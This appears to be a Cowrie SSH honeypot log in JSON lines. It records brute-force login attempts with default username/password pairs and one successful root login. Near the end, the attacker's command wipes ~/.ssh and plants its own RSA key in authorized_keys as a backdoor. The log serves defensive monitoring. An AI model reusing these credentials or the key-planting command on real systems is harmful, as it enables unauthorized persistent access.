{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:02.445210Z","src_ip":"163.7.6.74","session":"1ab44c212ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":48286,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7f0e0c20455","protocol":"ssh","message":"New connection: 103.193.178.240:48286 (159.203.135.109:22) [session: c7f0e0c20455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:27.334704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:27.338878Z","src_ip":"103.193.178.240","session":"c7f0e0c20455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:28.603772Z","src_ip":"103.193.178.240","session":"c7f0e0c20455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backupuser","password":"12345","message":"login attempt [backupuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:29.314900Z","src_ip":"103.193.178.240","session":"c7f0e0c20455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:30.620066Z","src_ip":"103.193.178.240","session":"c7f0e0c20455","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":33482,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ce64c2ca4cb","protocol":"ssh","message":"New connection: 49.49.239.64:33482 (159.203.135.109:22) [session: 4ce64c2ca4cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:40.153092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:40.157326Z","src_ip":"49.49.239.64","session":"4ce64c2ca4cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:40.421764Z","src_ip":"49.49.239.64","session":"4ce64c2ca4cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"itadmin","password":"itadmin","message":"login attempt [itadmin/itadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:41.510572Z","src_ip":"49.49.239.64","session":"4ce64c2ca4cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41600,"dst_ip":"10.17.0.5","dst_port":22,"session":"85242768c159","protocol":"ssh","message":"New connection: 2.57.122.208:41600 (10.17.0.5:22) [session: 85242768c159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:41.814949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:41.976792Z","src_ip":"2.57.122.208","session":"85242768c159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:41.980378Z","src_ip":"2.57.122.208","session":"85242768c159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:42.763530Z","src_ip":"2.57.122.208","session":"85242768c159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:42.777786Z","src_ip":"49.49.239.64","session":"4ce64c2ca4cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:43.870655Z","src_ip":"2.57.122.208","session":"85242768c159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":40444,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b055ee2d8c1","protocol":"ssh","message":"New connection: 92.118.39.76:40444 (10.17.0.5:22) [session: 9b055ee2d8c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:39:22.154459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:39:22.158298Z","src_ip":"92.118.39.76","session":"9b055ee2d8c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:39:22.258510Z","src_ip":"92.118.39.76","session":"9b055ee2d8c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:39:22.560307Z","src_ip":"92.118.39.76","session":"9b055ee2d8c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:39:23.661025Z","src_ip":"92.118.39.76","session":"9b055ee2d8c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.200.162","src_port":42798,"dst_ip":"10.17.0.5","dst_port":22,"session":"26f5aefcea97","protocol":"ssh","message":"New connection: 128.201.200.162:42798 (10.17.0.5:22) [session: 26f5aefcea97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:39:31.951686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:39:31.956017Z","src_ip":"128.201.200.162","session":"26f5aefcea97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:39:32.075203Z","src_ip":"128.201.200.162","session":"26f5aefcea97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"icecast","password":"icecast123","message":"login attempt [icecast/icecast123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:39:32.584568Z","src_ip":"128.201.200.162","session":"26f5aefcea97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:39:33.706391Z","src_ip":"128.201.200.162","session":"26f5aefcea97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.174.21","src_port":49690,"dst_ip":"10.17.0.5","dst_port":22,"session":"86302b15a730","protocol":"ssh","message":"New connection: 74.208.174.21:49690 (10.17.0.5:22) [session: 86302b15a730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:00.178436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:00.185502Z","src_ip":"74.208.174.21","session":"86302b15a730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:00.243454Z","src_ip":"74.208.174.21","session":"86302b15a730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:00.338251Z","src_ip":"74.208.174.21","session":"86302b15a730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":59412,"dst_ip":"159.203.135.109","dst_port":22,"session":"9112ea3cf072","protocol":"ssh","message":"New connection: 103.193.178.240:59412 (159.203.135.109:22) [session: 9112ea3cf072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:01.171440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:01.176316Z","src_ip":"103.193.178.240","session":"9112ea3cf072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:01.432242Z","src_ip":"103.193.178.240","session":"9112ea3cf072","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"@root123","message":"login attempt [root/@root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:03.279033Z","src_ip":"103.193.178.240","session":"9112ea3cf072","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:03.920545Z","src_ip":"103.193.178.240","session":"9112ea3cf072","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:03.925567Z","src_ip":"103.193.178.240","session":"9112ea3cf072","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:03.934314Z","src_ip":"103.193.178.240","session":"9112ea3cf072","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:04.196258Z","src_ip":"103.193.178.240","session":"9112ea3cf072","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:04.737899Z","src_ip":"103.193.178.240","session":"9112ea3cf072","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:04.741362Z","src_ip":"103.193.178.240","session":"9112ea3cf072","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:05.007409Z","src_ip":"103.193.178.240","session":"9112ea3cf072","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:05.013541Z","src_ip":"103.193.178.240","session":"9112ea3cf072","protocol":"ssh"}
